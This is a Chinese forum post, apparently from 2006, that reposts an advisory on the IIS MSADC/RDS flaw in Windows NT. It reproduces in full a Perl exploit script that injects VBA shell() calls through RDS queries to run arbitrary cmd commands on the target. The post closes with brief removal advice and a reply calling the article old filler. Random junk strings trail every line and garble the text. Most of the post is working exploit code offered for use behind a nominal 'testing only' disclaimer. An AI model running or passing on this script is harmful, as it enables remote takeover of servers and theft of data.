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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) GB<R7 J  
1UW s_|X!  
涉及程序: W>Mse[6`c  
Microsoft NT server \;-=ODC  
J4gI=@e  
描述: d&aBs++T  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #D`S  
S)"##-~`T  
详细: YKP=0 j3,  
如果你没有时间读详细内容的话,就删除: |?x^8e<*  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 7$+P|U  
有关的安全问题就没有了。 >oft :7p  
e=gboR  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 z}> 4,d  
w~<FG4@LU  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 -l-AToO4  
关于利用ODBC远程漏洞的描述,请参看: =<[7J]%  
t/JOERw  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xw4ey<"I  
m !#_CQ:  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 F~z_>1lpP&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ulH0%`Fi  
V.;:u#{@-Q  
这里不再论述。 OM20-KDc5  
gI)w^7Gi  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: <K.Bq]  
ra]!4Kd'  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset iD%qy/I/  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! cy1\u2x_`  
A#Xj]^-*  
4id3P{aU  
#将下面这段保存为txt文件,然后: "perl -x 文件名" i^je.,Bi  
'rS'B.D  
#!perl WYSck&9  
# cwu$TP A>  
# MSADC/RDS 'usage' (aka exploit) script L3B8IDq  
# C0\%QXu  
# by rain.forest.puppy t-!Rgg$9  
# Z,0O/RFJ.q  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me /K_ i8!y  
# beta test and find errors! uDILjOT  
]ddHA  
use Socket; use Getopt::Std; \4OK!6LkI  
getopts("e:vd:h:XR", \%args); HS{P?~:=U  
M'^(3#ZU  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; C0zrXhY_v  
@ (i*-u3Tq  
if (!defined $args{h} && !defined $args{R}) { jZrY=f  
print qq~ N\_( w:q  
Usage: msadc.pl -h <host> { -d <delay> -X -v } BiA >QQ  
-h <host> = host you want to scan (ip or domain) Ru)(dvk}S  
-d <seconds> = delay between calls, default 1 second (tJ91SBl  
-X = dump Index Server path table, if available >RM 0=bO  
-v = verbose [/?c@N,  
-e = external dictionary file for step 5 v-ThdE$G#  
^[en3aQ  
Or a -R will resume a command session 6/|U  
c2/FHI0J;  
~; exit;} rW[SU:  
'yE*|Sx  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; `/c7h16  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -dg}BM  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} u-lrTa""z  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); *7\W=-  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} %n jOX#.w  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } :ezA+=ENg  
DX|uHbGg  
if (!defined $args{R}){ $ret = &has_msadc; xYmdCf@H  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} B9wp*:.  
'w}p[(  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ;JYoW{2  
. "cmd /c "; m6-76ma,hi  
$in=<STDIN>; chomp $in; ]+AAT=B<!  
$command="cmd /c " . $in ; Y]~IY?I  
Bk+{}  
if (defined $args{R}) {&load; exit;} P2>:p%Z  
SAP;9*f1\  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 8AryIgy>@  
&try_btcustmr; D^n xtuT*  
>Z}@7$(7!~  
print "\nStep 2: Trying to make our own DSN..."; B-$+UE>%  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; VW{,:Ya  
}bp.OV-+  
print "\nStep 3: Trying known DSNs..."; 3a%xn4P  
&known_dsn; 5|CzX X#U  
U>oW~Z  
print "\nStep 4: Trying known .mdbs..."; 0k%hY{  
&known_mdb; 'X54dXS?l  
}0Y`|H\v  
if (defined $args{e}){ NJ<N%hcjK  
print "\nStep 5: Trying dictionary of DSN names..."; `y'aH 'EEd  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ):S!Nl  
2pz4rc  
print "Sorry Charley...maybe next time?\n"; $1~c_<DN  
exit; uw_H:-J  
=w6}\ 'X  
############################################################################## Oohq9f#!  
)qmFK .;%  
sub sendraw { # ripped and modded from whisker goB;EWz  
sleep($delay); # it's a DoS on the server! At least on mine... gd K*"U  
my ($pstr)=@_; F, zG;_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _1P`]+K\D$  
die("Socket problems\n"); PzLJ/QER  
if(connect(S,pack "SnA4x8",2,80,$target)){ |!oXvXU  
select(S); $|=1; lO[E[c G  
print $pstr; my @in=<S>; q4) Ey  
select(STDOUT); close(S); GJvp{U}y9I  
return @in; n_J5zQJ  
} else { die("Can't connect...\n"); }} Jns/v6  
<z',]hy  
############################################################################## +ZX .1[O  
Y3<b~!f  
sub make_header { # make the HTTP request X CzXS.  
my $msadc=<<EOT +|9f%f6vp  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 AO $Wy@  
User-Agent: ACTIVEDATA hl**zF  
Host: $ip /,X7.t_-  
Content-Length: $clen 9l#gMFknI  
Connection: Keep-Alive IYLZ +>  
T RDxT  
ADCClientVersion:01.06 3 tF:  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 vnL?O8`c  
JxHv<p[  
--!ADM!ROX!YOUR!WORLD! ).Q[!lly   
Content-Type: application/x-varg '=p?  
Content-Length: $reqlen BR3wX4i\  
-n-Z/5~ X  
EOT " <Qm -  
; $msadc=~s/\n/\r\n/g; s@PLS5d"  
return $msadc;} QypZH"Np  
\ZsP]};*  
############################################################################## Ts#pUoE~+H  
Wa<-AZnh  
sub make_req { # make the RDS request 9ZhDZ~)p,  
my ($switch, $p1, $p2)=@_; gX_SKy  
my $req=""; my $t1, $t2, $query, $dsn; ]hL:33  
a}dw9wU!:  
if ($switch==1){ # this is the btcustmr.mdb query js -2"I  
$query="Select * from Customers where City=" . make_shell(); [<Q4U{F  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . W/=7jM   
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} <cj}:H *  
B 2Z0  
elsif ($switch==2){ # this is general make table query AJdp6@O +  
$query="create table AZZ (B int, C varchar(10))"; 1LX)4TCC  
$dsn="$p1";} ~XKZXGw  
R B%:h-t4  
elsif ($switch==3){ # this is general exploit table query @%:E  }  
$query="select * from AZZ where C=" . make_shell(); kf'=%]9#_T  
$dsn="$p1";} @+E7w6>%  
6^ab@GrN\  
elsif ($switch==4){ # attempt to hork file info from index server 83Uw  
$query="select path from scope()"; Y0}4WWV  
$dsn="Provider=MSIDXS;";} i(Vm!Y82  
7VY8CcL  
elsif ($switch==5){ # bad query x%pRDytA  
$query="select"; ,WGc7NN`  
$dsn="$p1";} %0zS  
'gCZ'edM  
$t1= make_unicode($query); ~5T$8^K  
$t2= make_unicode($dsn); ']h IfOD"r  
$req = "\x02\x00\x03\x00"; sjn:O'  
$req.= "\x08\x00" . pack ("S1", length($t1)); ?aFZOc4   
$req.= "\x00\x00" . $t1 ; 5aG5BA[N  
$req.= "\x08\x00" . pack ("S1", length($t2)); (2tH"I  
$req.= "\x00\x00" . $t2 ; },s_nJR:8  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; [[X+P 0`r  
return $req;} %mu>-hac  
'-.wFB;  
############################################################################## zIm-X,~I$  
pZjpc#*9N  
sub make_shell { # this makes the shell() statement =9<$eLE0  
return "'|shell(\"$command\")|'";} \?d TH:v/E  
nd.hHQ  
############################################################################## 7 OWsHlU  
# M>wH`Q#  
sub make_unicode { # quick little function to convert to unicode +|0 t  
my ($in)=@_; my $out; >: $"a  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } x;(g  
return $out;} GMw)*  
*Dc@CmBr  
############################################################################## YD9!=a$  
X.eB ;w/}  
sub rdo_success { # checks for RDO return success (this is kludge) e5 3,Rqi)@  
my (@in) = @_; my $base=content_start(@in); TRy^hr8~  
if($in[$base]=~/multipart\/mixed/){ Fpf><Rn  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} G AEZY  
return 0;} 7"a4/e;^  
#Wk5E2t  
############################################################################## z37Z %^  
-;/ Y  
sub make_dsn { # this makes a DSN for us =Epq%,4nG  
my @drives=("c","d","e","f"); hkF^?AJ  
print "\nMaking DSN: "; D J_DonO]  
foreach $drive (@drives) { "k, K~@}  
print "$drive: "; QF&6?e06p0  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ]'UgZsJ  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ~of,,&  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); m1V-%kUI  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ^)<w*iqBD  
return 0 if $2 eq "404"; # not found/doesn't exist SBL+e]P  
if($2 eq "200") { ?Sw /(}|m  
foreach $line (@results) { !-,Ww[G>  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} +A\V)  
} return 0;} q:8\ e  
_Jy,yMQ^[_  
############################################################################## K~3Ebr  
R[Nbtbv9Q  
sub verify_exists { 5*1#jiq  
my ($page)=@_; 61>f(?s  
my @results=sendraw("GET $page HTTP/1.0\n\n"); N iISJWk6'  
return $results[0];} `;/XK,m-  
uY]T:UVk  
############################################################################## ]5)"gL%H`  
`I#`:hj  
sub try_btcustmr { lRH0)5`  
my @drives=("c","d","e","f"); Bq{ ]Eh0%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [4\aYB9N  
u>}zm_  
foreach $dir (@dirs) { t)'dF*L  
print "$dir -> "; # fun status so you can see progress .pW o>`"  
foreach $drive (@drives) { nALnB1  
print "$drive: "; # ditto 7UDq/:}Fo  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; L#!$hq9{_  
$reqlenlen=length( "$reqlen" ); ~j]dct7  
$clen= 206 + $reqlenlen + $reqlen; rKT)!o'  
?Q?598MC  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); #Qsk}Gv  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} X  Ny Y$  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 1a*6ZGk.  
f~R[&q +  
############################################################################## 3Y(9\}E@`  
ofK='G .  
sub odbc_error { hLo>R'@uN  
my (@in)=@_; my $base; T]uKH29.%  
my $base = content_start(@in); `-u7 I  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this :*cHA  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ThiN9! Y  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; xU:4Y0y8  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `0z/BCNB  
return $in[$base+4].$in[$base+5].$in[$base+6];} B.RRdK+:  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; y;r"+bS8  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . #<]Iz'\`  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Wp`C:H  
3C#RjA-2[  
############################################################################## zb?kpd}r  
PT05DH  
sub verbose { xl9(ze  
my ($in)=@_; OGGSS&5t w  
return if !$verbose; fyrd `R  
print STDOUT "\n$in\n";} (7L/eDMT  
MX?}?"y  
############################################################################## 5QOZ%9E&M  
]!J<,f7W  
sub save { ki3 HcV  
my ($p1, $p2, $p3, $p4)=@_; -O%[!&`  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; q}s K  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; &rP~`4Mkp  
close OUT;} @Kp1k> ov  
=Sa~\k+  
############################################################################## | +fwvi&a  
pND48 g;  
sub load { )vQNiik#  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; aP_3C_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); &#-[Y:?lA  
@p=<IN>; close(IN); >Zo-wYG  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); B>@D,)/bT5  
$target= inet_aton($ip) || die("inet_aton problems"); 9 ?(x>P  
print "Resuming to $ip ..."; T\fudmj&  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Az9J\V~"  
if($p[1]==1) { b*`fLrqV.  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; CC>($k"  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; L&QtHSzy  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Q K j1yG0i  
if (rdo_success(@results)){print "Success!\n";} $bFgsy*N2  
else { print "failed\n"; verbose(odbc_error(@results));}} #<UuI9  
elsif ($p[1]==3){ AoIc9E lEX  
if(run_query("$p[3]")){ u]0!|Jd0  
print "Success!\n";} else { print "failed\n"; }} zu<>"5}]  
elsif ($p[1]==4){ :v#8O~  
if(run_query($drvst . "$p[3]")){ ey*,StT5a  
print "Success!\n"; } else { print "failed\n"; }} 77tZp @>hn  
exit;} ]`K[W&  
<ZV7|'^  
############################################################################## WSS(Bm|B  
sSV^5  
sub create_table { w~]} acP  
my ($in)=@_; F=: c5z  
$reqlen=length( make_req(2,$in,"") ) - 28; $82zyq  
$reqlenlen=length( "$reqlen" ); >j- b5g"g  
$clen= 206 + $reqlenlen + $reqlen; ],AbcTX  
my @results=sendraw(make_header() . make_req(2,$in,"")); 'z~KTDX  
return 1 if rdo_success(@results); dX 0x Kk%#  
my $temp= odbc_error(@results); verbose($temp); 0S_Ra+e  
return 1 if $temp=~/Table 'AZZ' already exists/; K)Ge  
return 0;} GajI\_o  
3}yraX6r!  
############################################################################## h~ZNHSP:  
L PMb0F}"5  
sub known_dsn { GV=V^Fl .  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go i6FP[6H1  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 9c%(]Rn:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Gy$o7|PA"{  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); g{]ej  
sE}sE=\  
foreach $dSn (@dsns) { ^&HI +M  
print "."; X!m;uJZp  
next if (!is_access("DSN=$dSn")); oR7 7`  
if(create_table("DSN=$dSn")){ u$\Tg3du2  
print "$dSn successful\n"; ~O8] 3+U  
if(run_query("DSN=$dSn")){ y^ 3,X_0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { R4yJ.f  
print "Something's borked. Use verbose next time\n";}}} print "\n";} -^0KE/  
=qan%=0"h  
############################################################################## I ;l`VtD  
>"i~ x  
sub is_access { ~;` fC|)  
my ($in)=@_; f&f[La  
$reqlen=length( make_req(5,$in,"") ) - 28; wH#Lb@cfZ0  
$reqlenlen=length( "$reqlen" ); |O2|`"7  
$clen= 206 + $reqlenlen + $reqlen; ^g\h]RD}  
my @results=sendraw(make_header() . make_req(5,$in,"")); -)<JBs>  
my $temp= odbc_error(@results); WGluZhRuT3  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); N:5b1TdI,  
return 0;} WI%zr2T  
eUYG96Jw  
############################################################################## 4U:DJ_GN  
WtMcI>4w  
sub run_query { cS+?s=d  
my ($in)=@_; p {w}  
$reqlen=length( make_req(3,$in,"") ) - 28; N{|[R   
$reqlenlen=length( "$reqlen" ); g\E ._ab<  
$clen= 206 + $reqlenlen + $reqlen; f.sPE8 #3=  
my @results=sendraw(make_header() . make_req(3,$in,"")); ^j1Gmv)  
return 1 if rdo_success(@results); s 8C:QC  
my $temp= odbc_error(@results); verbose($temp); UX03"gX  
return 0;} *pmoLiuB>  
9.^-us1  
############################################################################## U. NeK{  
MI?]8+l  
sub known_mdb { qEPf-O:lm  
my @drives=("c","d","e","f","g"); A5`#Ot*3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); l[:^TfB  
my $dir, $drive, $mdb; jD$;q7fB  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; |P^ikx6f5  
zaQ$ Ht  
# this is sparse, because I don't know of many 3~#ZE;>#  
my @sysmdbs=( "\\catroot\\icatalog.mdb", G;87in ,}  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 2nVuz9h  
"\\system32\\certmdb.mdb", 9(V=Ubj  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% +*WUH513  
6f<*1YR F  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 7m vSo350  
"\\cfusion\\cfapps\\forums\\forums_.mdb", \nn56o@eN  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", iLc)"L-i  
"\\cfusion\\cfapps\\security\\realm_.mdb", YN$ndqOP  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Ov F8&*A  
"\\cfusion\\database\\cfexamples.mdb", 8uD8or  
"\\cfusion\\database\\cfsnippets.mdb", RRK^~JQI.2  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", M p}!+K  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Nu>sp,|A  
"\\cfusion\\brighttiger\\database\\cleam.mdb", +F#=`+V  
"\\cfusion\\database\\smpolicy.mdb", BHIZHp  
"\\cfusion\\database\cypress.mdb", uMljH@xBc  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 7/$nA<qM  
"\\website\\cgi-win\\dbsample.mdb", ot&j HS'  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", eG a#$x?.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" U0lqGEZ  
); #these are just f]O5V$!RuE  
foreach $drive (@drives) { &6=TtTp"9  
foreach $dir (@dirs){ Q%_!xQP`  
foreach $mdb (@sysmdbs) { E,"b*l.  
print "."; :..E:HdYO  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ )m$1al  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; /1s9;'I  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 3Y.d&Nz  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 3 LZL!^ 5N  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 7=9A_4G!  
QH~8 aE_i  
foreach $drive (@drives) { ~)oWSo5ll  
foreach $mdb (@mdbs) { b6rzHnl{  
print "."; HXl r  
if(create_table($drv . $drive . $dir . $mdb)){ 7M&.UzIY`  
print "\n" . $drive . $dir . $mdb . " successful\n"; a,F8+ Pb>  
if(run_query($drv . $drive . $dir . $mdb)){ P"[ifs p  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; )j)y5_m  
} else { print "Something's borked. Use verbose next time\n"; }}}} VyBJIzs0  
} M9ter&  
y&KoL\  
############################################################################## qkZ5+2m  
Uv W:#  
sub hork_idx { + 3~Gc<OO  
print "\nAttempting to dump Index Server tables...\n"; giA~+m~fN  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Z`0r]V`Ys  
$reqlen=length( make_req(4,"","") ) - 28; 3\+[38 _  
$reqlenlen=length( "$reqlen" ); ^Y*`D_-G  
$clen= 206 + $reqlenlen + $reqlen; f6(9wz$Trt  
my @results=sendraw2(make_header() . make_req(4,"","")); O4'kS @  
if (rdo_success(@results)){ ?[*@T2Ck  
my $max=@results; my $c; my %d; W}<M?b4tP  
for($c=19; $c<$max; $c++){ "OlI-^y  
$results[$c]=~s/\x00//g; ys~p(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; GSUOMy[M-  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; @ B}c4,  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; [|m>vY!  
$d{"$1$2"}="";} &})4?5  
foreach $c (keys %d){ print "$c\n"; } .yHHogbt  
} else {print "Index server doesn't seem to be installed.\n"; }} hCOy\[2$  
ZQJw2LAgO  
############################################################################## /(WX!EEsB  
f(9$"Vi  
sub dsn_dict { gzJ{Gau{)  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 7kWZMi  
while(<IN>){ ;{F;e)${M  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; o#KPrW`XJ/  
next if (!is_access("DSN=$dSn")); 8m1 3M5r  
if(create_table("DSN=$dSn")){ l yLK$B?/  
print "$dSn successful\n"; JXI+k.fi  
if(run_query("DSN=$dSn")){ ~$TE  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { gw}7%U`T9  
print "Something's borked. Use verbose next time\n";}}} 0 6G[^  
print "\n"; close(IN);} 6{F S /+  
w$<fSe7  
############################################################################## v=yI#5  
QBBJ1U  
sub sendraw2 { # ripped and modded from whisker [K|>s(Sf*  
sleep($delay); # it's a DoS on the server! At least on mine... Br.$L  
my ($pstr)=@_; (fLbg,  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =>9.@`.  
die("Socket problems\n"); NiJ?no  
if(connect(S,pack "SnA4x8",2,80,$target)){ gC,0+Y~  
print "Connected. Getting data"; _,-M8=dL%*  
open(OUT,">raw.out"); my @in; ?-6x]l=]  
select(S); $|=1; print $pstr; O}\"$n>  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} jW+VUF-t  
close(OUT); select(STDOUT); close(S); return @in; 7=M'n;!Mh  
} else { die("Can't connect...\n"); }} A)`fD %+  
ED =BZR  
############################################################################## L}sm R,  
XH Zu>[  
sub content_start { # this will take in the server headers *z  ;N  
my (@in)=@_; my $c; (w7cdqe  
for ($c=1;$c<500;$c++) { '=G<)z@k  
if($in[$c] =~/^\x0d\x0a/){ #D*J5k>2  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } *7D$;?"  
else { return $c+1; }}} uvK%d\d  
return -1;} # it should never get here actually ]P ?#lO6  
{u[K ^G  
############################################################################## _R!!4Hp<Q  
. AQ3zpy5B  
sub funky { BOl$UJ|K  
my (@in)=@_; my $error=odbc_error(@in); b3HTCO-,fC  
if($error=~/ADO could not find the specified provider/){ x.4)p6  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ` a<|CcUGU  
exit;} @0@'6J04  
if($error=~/A Handler is required/){ "=5vgg3  
print "\nServer has custom handler filters (they most likely are patched)\n"; <xh'@592  
exit;} =ym~= S  
if($error=~/specified Handler has denied Access/){ .qU%SmQ^  
print "\nServer has custom handler filters (they most likely are patched)\n"; vEee/+1?  
exit;}} A"T. nqB^y  
#}]il0d  
############################################################################## 3E2.v5*  
fB ,!|u  
sub has_msadc { Tk@g9\6O9  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); h/y}  
my $base=content_start(@results); C?<XtIoB  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); }JTgj  
return 0;} .^+$w $  
r3bvuq,6$  
######################## A,CPR0g%  
uC8T!z  
0Ukl#6  
解决方案: (j8,n<o  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Q8/0Cb/  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 WatLAn+  
dGW7,B~  
拿出来充数 哈哈
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